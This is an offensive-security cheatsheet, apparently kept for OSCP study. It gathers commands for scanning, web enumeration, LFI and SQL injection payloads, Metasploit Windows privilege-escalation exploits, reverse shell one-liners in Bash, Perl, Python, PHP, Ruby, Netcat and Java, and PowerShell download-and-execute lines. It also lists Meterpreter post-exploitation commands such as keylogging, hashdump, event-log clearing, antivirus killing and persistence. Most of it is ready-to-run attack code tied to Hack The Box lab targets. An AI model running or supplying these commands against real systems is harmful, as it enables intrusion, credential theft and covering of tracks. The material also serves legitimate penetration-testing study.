> Agents can also search and read this documentation through its [MCP server](https://gitbook.nori-zamurai.com/~gitbook/mcp).

# Introduction

These are a set of cheatsheets that I'm making to prepare for OSCP and to share my knowledge gained on cybersecurity job.


# Reconnaissance


# Other method

### Bash Ping Sweeper

```bash
#!/bin/bash
for lastOctet in {1..254}; do 
    ping -c 1 10.0.0.$lastOctet | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &
done
```

### Port Scanning with NetCat

```csharp
nc -nvv -w 1 -z host 1000-2000
nc -nv -u -z -w 1 host 160-162
```

### Port Scanning with Masscan

```erlang
masscan -p1-65535,U:1-65535 10.10.10.x --rate=1000 -e tun0
```


# Nmap

Nmap Cheatsheet for Reconnaissance.

![](https://2774131807-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M64VB6Sr653y4KPdauj%2F-M66Cu7OZfWdQqrGsti0%2F-M66Eav7_8x44FQtVard%2F439-4392205_nmap-logo-hd-png-download.png?alt=media\&token=eaf124e7-bd99-450d-bf22-e671974bb8fb)

### Command Options

```
<Nmap>
-sV: Probe open ports to determine service/version info
-oA <basename>: Output in the three major formats at once
-oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3, and Grepable format, respectively, to the given filename 
-p <port ranges>: Set destination port(s).
-sn: Ping Scan - disable port scan
-sS: TCP SYN
-sA: ACK Scan
-sT: Connect() Scan (TCP)
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
-O: Enable OS detection
-A: Enable OS detection, version detection, script scanning, and traceroute
-Pn: Treat all hosts as online -- skip host discovery
-n: Do not resolve hostnames via DNS
-v: Increment verbosity level by one.
-p1-65535/-p-: Scan for full ports 1-65535
--top-ports <number>: Scan <number> most common ports
--exclude <host1[,host2][,host3],...>: Exclude hosts/networks
--reason: Display the reason a port is in a particular state
--open: Only show open (or possibly open) ports
-F: Fast mode - Scan fewer ports than the default scan
-iL <inputfilename>: Input from list of hosts/networks

<NSE Script>
-sC: equivalent to --script=default
--script=<Lua scripts>: <Lua scripts> is a comma separated list of
           directories, script-files or script-categories
--script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts

<DB_nmap>
# db_nmap MSF wrapper
msf > db_nmap -sS -Pn -A 10.11.1.217

# search the Metasploit database for machines with specific open ports
msf > services -p 443
```

{% embed url="<https://tools.kali.org/information-gathering/nmap>" %}

### Port Status

> * Open: This indicates that an application is listening for connections on this port.
> * Closed: This indicates that the probes were received but there is no application listening on this port.
> * Filtered: This indicates that the probes were not received and the state could not be established. It also indicates that the probes are being dropped by some kind of filtering.
> * Unfiltered: This indicates that the probes were received but a state could not be established.
> * Open/Filtered: This indicates that the port was filtered or open but Nmap couldn’t establish the state.
> * Closed/Filtered: This indicates that the port was filtered or closed but Nmap couldn’t establish the state.

### Timing Template

> The main timing option is set through the -T parameter if you may want more control over the timing in order get the scan over and done with quicker. However, Nmap adjusts its timings automatically depending on network speed and response times of the victim.\
> Nmap offers a simpler approach, with six timing templates. You can specify them with the -T option and their number (0–5) or their name as shown below:
>
> * T0: paranoid
> * T1: sneaky
> * T2: polite&#x20;
> * T3: normal
> * T4: aggressive
> * T5: insane

### General Scan

```
# Scan ip with default scripts and service version detection.
nmap -sC -sV -oA bastard 10.10.10.9

# Scan full ports with time option -T5 "insane"
nmap -p- -T5 -oA allports 10.10.10.51

# Scan full ports and show only open ports
nmap -p1-65535 192.168.1.127 --open

# Scan specific Both TCP and UDP at the same time
nmap -p U:53,137, T:21-25,80,443 193.19.20.5

# Ping Sweep
nmap -v -sn 10.11.1.1-254 -oG ping-sweep.txt

# Banner Grabbing/Service Enumeration
nmap -sV -sT 10.0.0.19

# OS Fingerprinting
nmap -O 10.0.0.19

# Scan for top 20 TCP ports
nmap -sT -A --top-ports=20 10.11.1.1-254 -oG top-port-sweep.txt

# Scan for open SNMP ports
nmap -sU --open -p 161 10.11.1.1-254 -oG mega-snmp.txt

# Perform aggressive scan and reduce scanning timing
nmap –T4 192.168.1.127

# perform fast specific ip range excluding 192.168.1.114
nmap -F 192.168.1.110-255 --exclude 192.168.1.114

# Scan ip in a text file
nmap -iL /root/Desktop/scan.txt
```

### List NSE (Nmap Scripting Engine ) Scripts

```
# Path to nse scripts
ls /usr/share/nmap/scripts/ 

# List nse scripts in "vuln" category.
locate -r '\.nse$' | xargs grep categories | grep vuln

# List nse scripts related to "smb" with categories.
locate -r '\.nse$'| xargs grep categories | grep smb
```

### Scan with NSE Scripts

```
# Scan ip with scripts in "vuln" category.
nmap --script vuln -oA vulnscan 10.10.10.79

# Scan specific ports with scripts in "vuln" category.
nmap -p 110,119,22,25,4555,80 -sC -sV -oA vulnscan --script vuln 10.10.10.51

# Scan ip with scripts in "vuln" and "safe" categories.
nmap --script "vuln and safe" -Pn -n -p 445 <target ip>

# What does a script do?
nmap --script-help ftp-anon

# Scan FTP (21) with a script "ftp-anon.nse"
nmap -v -p 21 --script=ftp-anon.nse 10.11.1.1-254

# Scan with SMB-related scripts to find vulnerabilites 
nmap --script smb-vuln* -p 139,445 <target ip>

# Scan with SMB-related scripts
nmap --script smb* -p 139,445 <target ip>

# scan SMB (139,445) with a script "smb-os-discovery"
nmap -v -p 139, 445 --script=smb-os-discovery 10.11.1.227

# Scan SMB (139,445) with a script "smb-vuln-ms08-067"
nmap -v -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1 10.11.1.201

# Scan SMB (139,445) with a script "smb-vuln-ms08-067"
nmap -v -p 139, 445 --script=smb-security-mode 10.11.1.236

# Scan HTTP (80) with a script "http-shellshock"
nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 10.10.10.56

# Scan HTTP (80) with a script "http-vuln-cve2010-2861"
nmap -v -p 80 --script=http-vuln-cve2010-2861 10.11.1.210

# Scan DNS (53) with a script "dns-zone-transfer"
nmap --script=dns-zone-transfer -p 53 ns2.megacorpone.com
```

### Link

{% embed url="<https://www.hackingarticles.in/network-scanning-using-nmap-beginner-guide/>" %}

{% embed url="<https://www.sans.org/blog/sans-pen-test-cheat-sheet-nmap-v1-1/>" %}

{% file src="/files/-M66UOzgOIFLKsvwyqUz" %}

![](https://2774131807-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M64VB6Sr653y4KPdauj%2F-M66EeNRDBlv9nwWCoIb%2F-M66IcRR7dctYtBPZgWv%2FNmap_CheatSheet_page1-1024x622.png?alt=media\&token=7ba85882-42f7-4499-941b-534a5df8a73e)

{% embed url="<https://www.comparitech.com/net-admin/nmap-nessus-cheat-sheet/>" %}

![](https://2774131807-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M64VB6Sr653y4KPdauj%2F-M663UcE4j8brOSWVi9a%2F-M664K634wbwbzxPdnHK%2FNmap-Cheat-Sheet-1.jpg?alt=media\&token=11d33cb0-aaa6-4f9f-bd12-07bcdae0b2f2)


# Enumeration


# DNS (53)


# SSH (22)


# FTP (21)


# SMTP (25)

{% embed url="<https://www.hackingarticles.in/4-ways-smtp-enumeration/>" %}

{% embed url="<https://pentestlab.blog/2012/11/20/smtp-user-enumeration/>" %}


# WEB (80,443)

cheatsheet in the phase of Enumeration against WEB service.

## Scanner

#### Gobuster

```
<Command Options>
-u <url/domain>: The target URL or Domain
-w <wordlist>: Path to the wordlist
-o <file>: specify a file name to write the output to
-t <threads>: number of threads to run (default: 10)
-s <status codes>: comma-separated set of the list of status codes to be deemed a “positive” (default: 200,204,301,302,307)
-x <extensions>: list of extensions to check for, if any
-a <user agent string>: specify a user agent string to send in the request header

<Example of Usage>
gobuster -u http://<target ip> -w /usr/share/wordlists/dirb/small.txt
gobuster -u https:<target ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x txt
gobuster -u http://10.10.10.56 -w /usr/share/wordlists/dirb/small.txt -s 200,204,301,302,307,403
gobuster -u http://10.10.10.56/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -s 200,204,301,302,307,403 -x sh,pl
gobuster -u http://10.10.10.79 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuser.log -t 50

# Make request with specific useragent
gobuster -u http://192.168.1.108/dvwa -w /usr/share/wordlists/dirb/common.txt -a Mozilla/5.0 -fw
```

{% embed url="<https://tools.kali.org/web-applications/gobuster>" %}

{% embed url="<https://www.hackingarticles.in/comprehensive-guide-on-gobuster-tool/>" %}

#### DIRB

```
dirb http://<target ip>
```

{% embed url="<https://tools.kali.org/web-applications/dirb>" %}

{% embed url="<https://www.hackingarticles.in/comprehensive-guide-on-dirb-tool/>" %}

#### Nikto

```
nikto http://<target ip>
```

{% embed url="<https://tools.kali.org/information-gathering/nikto>" %}

#### Uniscan

```
<Command Options>
-u  <url>: target url

<Example of Usage>
uniscan -u <target ip> -qweds
```

{% embed url="<https://tools.kali.org/web-applications/uniscan>" %}

{% embed url="<https://www.hackingarticles.in/scan-website-vulnerability-using-uniscan-beginner-guide/>" %}

#### DavTest

```
davtest -url http://10.10.10.15
```

{% embed url="<https://tools.kali.org/web-applications/davtest>" %}

#### Droopescan

```
droopescan scan drupal -u 10.10.10.9
```

{% embed url="<https://github.com/droope/droopescan>" %}

#### WPScan

```
<Command Options>
--url, -u <target url>: The WordPress URL/domain to scan
--enumerate | -e [option(s)]: Enumeration.
  option :
    u        usernames from id 1 to 10
    u[10-20] usernames from id 10 to 20 (you must write [] chars)
    p        plugins
    vp       only vulnerable plugins
    ap       all plugins (can take a long time)
    tt       timthumbs
    t        themes
    vt       only vulnerable themes
    at       all themes (can take a long time)
  Multiple values are allowed : "-e tt,p" will enumerate timthumbs and plugins

<Example of Usage>
wpscan --url http://10.10.10.10/ --enumerate t --enumerate p --enumerate u
```

{% embed url="<https://tools.kali.org/web-applications/wpscan>" %}

## Web Application Attacks

### Local File Inclusion (LFI)

```
http://10.10.10.84/browse.php?file=../../../../../../../../../etc/passwd
```

{% embed url="<https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion>" %}

> Local file inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.

### Remote File Inclusion (RFI)

```
```

{% embed url="<https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion>" %}

> Remote File Inclusion (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.

### SQL Injection

```
#Standard Technique
SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'
$username = 1' or '1' = '1
$password = 1' or '1' = '1
```

{% embed url="<https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection>" %}

> An [SQL injection](https://owasp.org/www-community/attacks/SQL_Injection) attack consists of insertion or “injection” of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.


# POP3 (110)


# SMB (139,445)

### SMBmap

```
smbmap -H <target ip>
# List shares

smbmap -R Replication -H <target ip>
# List files and direcotories

smbmap -R Replication -H <target ip> -A <filename> -q
# Download files
```

### smbclient

### rpcclient

### Nmap SMB NSE Scripts

```
updatedb
locate -r '\.nse$'| xargs grep categories | grep smb
nmap --script "vuln and safe" -Pn -n -p 445 <target ip>
nmap --script smb-vuln* -p 139,445 <target ip>
```

{% embed url="<https://www.hackingarticles.in/a-little-guide-to-smb-enumeration/>" %}

{% embed url="<https://www.hackingarticles.in/smb-penetration-testing-port-445/>" %}

{% embed url="<https://www.hackingarticles.in/netbios-and-smb-penetration-testing-on-windows/>" %}

{% embed url="<https://www.hackingarticles.in/5-ways-to-hack-smb-login-password/>" %}


# MySQL (3306)

{% embed url="<https://www.hackingarticles.in/penetration-testing-on-mysql-port-3306/>" %}


# Privilege Escalation

## Windows

### Tools

#### [Windows Exploit Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)

#### [Sherlock](https://github.com/rasta-mouse/Sherlock)

#### PowerUp

## Linux


# Linux

## Cheatsheet

![](https://2774131807-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M64VB6Sr653y4KPdauj%2F-M6NxbxAE7prfB4OrRGb%2F-M6O-QH_0n6Yy5qo6JaF%2FLinux-file-system-hierarchy-Linux-file-structure-optimized.jpg?alt=media\&token=c5d4d1eb-0e69-4288-9a46-3b2acdce8077)

![](https://2774131807-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M64VB6Sr653y4KPdauj%2F-M6NxbxAE7prfB4OrRGb%2F-M6O-mavCK9RhpAUNic7%2Fimage.png?alt=media\&token=05036fe0-7935-49f1-a138-625854794d04)

![](https://2774131807-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M64VB6Sr653y4KPdauj%2F-M6NxbxAE7prfB4OrRGb%2F-M6O-rslJLyjUNubkzH9%2Fimage%20\(1\).png?alt=media\&token=d3557193-f19a-40ac-99bd-8e0356f4ac02)

{% embed url="<https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/>" %}

## Sudo Rights (sudo -l)

![](https://i2.wp.com/2.bp.blogspot.com/-7HdHllzAXZU/WwZTV0yMDYI/AAAAAAAAXBA/6gOuaUG5b70GfAgtusuMxqPpX5Ji1rRCgCLcBGAs/s1600/2.1.png?w=687)

{% embed url="<https://www.hackingarticles.in/linux-privilege-escalation-using-exploiting-sudo-rights/>" %}

## SUID (Set user ID) Binaries

![](https://2774131807-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M64VB6Sr653y4KPdauj%2F-M6kIpbiEdYplq-oAcKo%2F-M6kJJh4k2fhYRR9W00B%2Fimage.png?alt=media\&token=ef700a3e-d265-4211-a4f9-32adcbfe938f)

{% embed url="<https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/>" %}

## rbash (restricted shell)

### SSH login to bypass the loading of profile and access proper bash

```
ssh ignite@192.168.1.103 -t "bash --noprofile"
```

{% embed url="<https://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/>" %}

{% embed url="<https://speakerdeck.com/knaps/escape-from-shellcatraz-breaking-out-of-restricted-unix-shells>" %}

## Processes executed by Root

### TMUX session

```
hype@Valentine:/dev/shm$ ls -la /.devs/dev_sess
srw-rw---- 1 root hype 0 Apr 27 01:12 /.devs/dev_sess

hype@Valentine:/dev/shm$ groups
hype cdrom dip plugdev sambashare

tmux -S /.devs/dev_sess 
```


# Windows

## Cheatsheet

{% embed url="<https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/>" %}

## Vulnerabilities for Privesc

### MS16-032 (Secondary Logon to Address Elevation of Privilege)

{% embed url="<https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-032>" %}

{% embed url="<https://www.rapid7.com/db/modules/exploit/windows/local/ms16_032_secondary_logon_handle_privesc>" %}

> This module exploits the lack of sanitization of standard handles in Windows’ Secondary Logon Service. The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This module will only work against those versions of Windows with Powershell 2.0 or later and systems with two or more CPU cores.

```
msf > use exploit/windows/local/ppr_flatten_rec
msf exploit(windows/local/ppr_flatten_rec) > set payload windows/meterpreter/reverse_tcp
msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.21
lhost => 10.10.14.21
msf exploit(windows/local/ppr_flatten_rec) > set lport 1234
lport => 1234
msf exploit(windows/local/ppr_flatten_rec) > set session 2
session => 2
msf exploit(windows/local/ppr_flatten_rec) > run
```

You can test it on Hack the box "Grandpa":\
&#x20;\- OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition\
&#x20;\- OS Version: 5.2.3790 Service Pack 2 Build 3790\
&#x20;\- Hotfix(s): N/A

### MS15-051 (Windows Kernel-Mode Drivers Could Allow Elevation of Privilege) <a href="#vulnerabilities-in-windows-kernel-mode-drivers-could-allow-elevation-of-privilege-3057191" id="vulnerabilities-in-windows-kernel-mode-drivers-could-allow-elevation-of-privilege-3057191"></a>

> This security update resolves vulnerabilities in Microsoft Windows. The more severe of these vulnerabilities could allow elevation of privilege if an attacker logs on locally and runs arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. An attacker must have valid logon credentials and be able to log on locally to exploit this vulnerability. The vulnerability cannot be exploited remotely or by anonymous users.

{% embed url="<https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-051>" %}

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051>" %}

```
powershell.exe -c (new-object System.Net.WebClient).DownloadFile('http://10.10.14.9:8000/ms15-051x64.exe', 'C:\inetpub\drupal-7.54\ms15-051x64.exe')
ms15-051x64.exe "nc64.exe -e cmd 10.10.14.9 1234"
```

You can test it on Hack the box "Bastard":\
&#x20;\- OS Name: Microsoft Windows Server 2008 R2 Datacenter\
&#x20;\- OS Version: 6.1.7600 N/A Build 7600\
&#x20;\- Hotfix(s): N/A

### MS14-070 (TCP/IP Could Allow Elevation of Privilege)

{% embed url="<https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-070>" %}

{% embed url="<https://www.rapid7.com/db/modules/exploit/windows/local/ms14_070_tcpip_ioctl>" %}

> A vulnerability within the Microsoft TCP/IP protocol driver tcpip.sys can allow a local attacker to trigger a NULL pointer dereference by using a specially crafted IOCTL. This flaw can be abused to elevate privileges to SYSTEM.

```
msf > use exploit/windows/local/ms14_070_tcpip_ioctl
msf exploit(windows/local/ms14_070_tcpip_ioctl) > set session 3
session => 2
msf exploit(windows/local/ms14_070_tcpip_ioctl) > run
```

You can test it on Hack the box "Granny":\
&#x20;\- OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition\
&#x20;\- OS Version: 5.2.3790 Service Pack 2 Build 3790\
&#x20;\- Hotfix(s): Q147222

### MS10-015 (Windows Kernel Could Allow Elevation of Privilege)

{% embed url="<https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-015>" %}

{% embed url="<https://www.rapid7.com/db/modules/exploit/windows/local/ms10_015_kitrap0d>" %}

> This module will create a new session with SYSTEM privileges via the KiTrap0D exploit by Tavis Ormandy. If the session in use is already elevated then the exploit will not run. The module relies on kitrap0d.x86.dll, and is not supported on x64 editions of Windows.

```
msf > use exploit/windows/local/ms10_015_kitrap0d
msf exploit(windows/local/ms10_015_kitrap0d) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/local/ms10_015_kitrap0d) > set lhost 10.10.14.25
lhost => 10.10.14.25
msf exploit(windows/local/ms10_015_kitrap0d) > set lport 1234
lport => 1234
msf exploit(windows/local/ms10_015_kitrap0d) > set session 1
session => 1
msf exploit(windows/local/ms10_015_kitrap0d) > run
```

You can test it on Hack the box "Devel":\
&#x20;\- OS Name: Microsoft Windows 7 Enterprise\
&#x20;\- OS Version: 6.1.7600 N/A Build 7600\
&#x20;\- Hotfix(s): N/A

## Tools

### Windows Exploit Suggester

```
```

{% embed url="<https://github.com/AonCyberLabs/Windows-Exploit-Suggester>" %}

### Local Exploit Suggester with MSF

```
use /post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf post(multi/recon/local_exploit_suggester) > run
```

### Sherlock.ps1 > Find-AllVulns

```
powershell.exe -c "iex ((new-object net.webclient).DownloadString('http://10.10.14.9:8000/Sherlock.ps1'))"
```

{% embed url="<https://github.com/rasta-mouse/Sherlock>" %}

### PowerSploit > PowerUp.ps1> Invoke-AllChecks

```
locate -i PowerUp.ps1
/usr/lib/python2.7/dist-packages/cme/data/PowerSploit/Privesc/PowerUp.ps1

powershell.exe -c "iex ((new-object net.webclient).DownloadString('http://10.10.14.9:8000/PowerUp.ps1'))"
```

### Mimikaz

{% embed url="<https://www.hackingarticles.in/understanding-guide-mimikatz/>" %}


# Shell


# Reverse Shell

### Reverse Shell One-Liners

#### Bash

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

#### Perl

```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

#### Python

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

#### PHP

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

#### Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

#### Netcat

```
nc -e /bin/sh 10.0.0.1 1234

# without -e
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

#### Java

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

#### Xterm

```
xterm -display 10.0.0.1:1
```

{% embed url="<http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>" %}

{% embed url="<https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php>" %}

## Listeners

#### MSF for meterpreter

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.10.14.5
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
```


# Upgrade Shell

## Shell Spawning

#### Python

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

#### Echo

```
echo os.system('/bin/bash')
```

#### /bin/sh

```
/bin/sh -i
```

#### Perl

```
perl —e 'exec "/bin/sh";'

perl: exec "/bin/sh";
```

#### Ruby

```
ruby: exec "/bin/sh"
```

#### Lua

```
lua: os.execute('/bin/sh')
```

#### Exec from within IRB

```
exec "/bin/sh"
```

#### From within vi

```
:!bash

:set shell=/bin/bash:shell
```

#### From within Nmap

```
!sh
```

{% embed url="<https://netsec.ws/?p=337>" %}


# Meterpreter

```
<Commands>
sysinfo
# displays the information about the victim like Name, OS Type, Architecture,Domain and Language.

getuid
# Display the user that the Meterpreter server is running as on the host.

getpid

search - f *pass.txt*
# Provides a way of locating specific files on the target host

ps
# Displays a list of running processes on the target

upload
# As with the download command, you need to use double-slashes with the upload command

downlaod
# Downloads a file from the remote machine. Note the use of the double-slashes when giving the Windows path.

get system -t
rev2self
migrate <pid>

execute -f cmd.exe -c -H
# Execute command runs a command on the target.

shell
# Present you with a standard shell on the target system.

getdesktop

load <module>
# Load a framework plugin

clearev
# Clear the Application, System, and Security logs on a Windows system. 

background
# send the current Meterpreter session to the background and return you to the ‘msf’ prompt. To get back to your Meterpreter session, just interact with it again.

hashdump
# retrieve the password hashes from the victim

run checkvm
run get_env
route
run get_application_list
run killav

keyscan_start
keyscan_dump
keyscan_stop
screengrab

hashdump
timestomp
load

--------------------------------
sysinfo
* 侵入先端末の環境の把握
* OS Verson、アーキテクチャ、

getuid
* 侵入先端末上で侵害したサービス権限

getpid
* カレントPIDの取得

search
* search -f *pass*.txt

ps
* 動作中のプロセスの一覧（実行ユーザやファイルパス）

run checkvm
* 侵害端末がVM上で動作しているかどうか確認

run get_env
* 侵害端末の環境の把握

route
* ルーティング情報を確認
* route add ＜同端末の中継先IP(他のnicに紐付いているip)＞ ＜subnet＞ ＜meterpreter session＞
    * 追加したipにトラッフィクを中継
* route print
    * 追加したルーティングを確認

run get_application_list
* インストールされたアプリの一覧の取得

run
* meterpreterで実行可能なスクリプトの一覧を取得

upload
* upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec

download
* download c:\\Windows\\system32\\calc.exe /tmp/calc.exe


show targets
* ターゲットのアーキテクチャーの候補を表示

set target 2
* 候補の中からアーキテクチャーを選択

get system
* getsystem -t (number) 
    * 権限昇格の方法を指定して実行
rev2self
* 昇格した権限を戻す（system→user）

migrate (pid)
* 指定したプロセスにマイグレートする

execute -f cmd.exe -c -H
* hidden viewでcmd.exeを表示

interact (num)
* 上記で起動したcmd.exeを選択

run killav
* 文字列マッチしたスクリプトで定義済みのAV関連のプロセスをKill

getdesktop
* 現在のプロセスが保持するデスクトップ種別を表示
* Service-0x0: Non-Interactive Desktop
* Winsta0: Interactive Desktop
    * ScreenshotやKeyloggingやSniffingが可能
    * ログインshell（exploer.exe）にmigrateするとNon-Interactive Desktopを取得可
keyscan_start
* キーロガー起動

keyscan_dump
* キーロガーのダンプ

keyscan_stop
* キーロガー停止

screengrab
* スクリーンショットの取得

＜load sniffer＞
* スニフィングを可能にする

hashdump
* パスワードハッシュ取得

timestomp
* タイムスタンプ(MACE: Modified Accessed Created-Entry)の変更
* timestomp sample.txt  -z “01/01/2020 11:11:11"

load (module)
* meterpreterのモジュールをロード
* 標準以外のコマンドを実行

clearav
* windows Event ログの削除

＜Token Impersonation & Delegaton＞
steal_token pid
* 指定したpidのプロセスの実行ユーザのトークンを奪取

droptoken
* 奪取したトークンをドロップ

load incognito
* list_tokens -u 
    * user idで利用可能なDelegation/Impersonationトークンの一覧を表示
* impersonate_token ＜トークン名＞
    * 指定したトークンになりすまし
* getuid 
    * なりすましたuser id （トークン）を表示
* rever2self
    * なりすまし前のトークンに戻る
    ※Primary Token(SID、Groups、Privileges、Other info)
    ※Impersonation Tokenは、大元プロセスのToken（Primary Token）のメモリ内に存在

run persistence
* run persistence -A -L c¥¥  -X -i 10 -p 443 -r ip
* -L: ペイロードの配置場所
* -A: multiハンドラーの自動起動
* -p: Metasploitで待ち受けるポート
* -r: Metasploitで待ち受けするip
* -X: ブート時に接続
* -U: ユーザログオン時に接続
* -i: コネクション間のインターバル

resource ＜.rcのPath＞
* レジストリ追加によるPersisnteceの　　解除（配置したペイロードの削除、プロセスのKill、レジストリの解除）
* resource /root/.msf4/logs/persistence/****/**.rc
  
background
* アクティブなmeterpreterシェルをBackgroundへ移行

use auxiliary/scanner/portscan/tcp
* meterpreter上でポートスキャンを実施

run arp_scanner -r x.x.x.x/24
* 指定したセグメントへのarp-scan

portfwd add -l <dst port> -p <forward port> -r <remote ip> 
* ポートフォワーディングによるdstとforward間中継 

portfwd list
* 追加されたポートフォワード設定の表示

msfvenom -p windows/meterpreter/ reverse_tcp -f exe LHOST=10.1.1.1 LPORT=4444 > met.exe

use exploit(usermap_script) > info

use exploit(usermap_script) > show missing

show payloads

use exploit/multi/http/atutor_sqli

check

msf > use exploit/windows/smb/psexec
            msf exploit(psexec) > set SMBUSER Administrator
            SMBUSER => Administrator
            msf exploit(psexec) > set SMBPASS vagrant
            SMBPASS => vagrant
            msf exploit(psexec) > run

getprivs
全ての権限を現在のプロセスに付与する

getsid 
sidの表示


 use exploit/multi/handler


jobs

sessions -i 

sessions -l 

Metasploit Module Path
/usr/share/metasploit-framework/modules/exploits/
```

### Interesting files <a href="#interesting-files" id="interesting-files"></a>

```
#Meterpreter
search -f *.txt
search -f *.zip
search -f *.doc
search -f *.xls
search -f config*
search -f *.rar
search -f *.docx
search -f *.sql

.ssh:
.bash_history
```

### Link

{% embed url="<https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/>" %}

{% embed url="<https://www.hackingarticles.in/beginner-guide-meterpreter-part-1/>" %}

{% file src="/files/-M6NsWl5A-fHqRvOmLb8" %}

![](https://2774131807-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M64VB6Sr653y4KPdauj%2F-M6NsjfA4eiXKcEXAQw1%2F-M6NspMwYmxE_6rKTYTN%2F%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%B7%E3%83%A7%E3%83%83%E3%83%88%202020-05-03%2013.54.15.png?alt=media\&token=329b2b39-55a5-4f97-a247-bf3b1f246a3e)


# Password Crack


# Hash Analysis

## Hashcat

{% embed url="<https://tools.kali.org/password-attacks/hashcat>" %}

## John the Ripper

```
cat /etc/passwd
cat /etc/shadow
unshadow passwd shadow > unshadowed.txt
john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
```

{% embed url="<https://tools.kali.org/password-attacks/john>" %}

{% embed url="<https://www.hackingarticles.in/beginner-guide-john-the-ripper-part-1/>" %}

{% embed url="<https://www.hackingarticles.in/beginners-guide-for-john-the-ripper-part-2/>" %}

## Hash Identifer


# Bruteforce

## Hydra

```
```

{% embed url="<https://tools.kali.org/password-attacks/hydra>" %}

{% embed url="<https://www.hackingarticles.in/comprehensive-guide-on-hydra-a-brute-forcing-tool/>" %}

## Ncrack

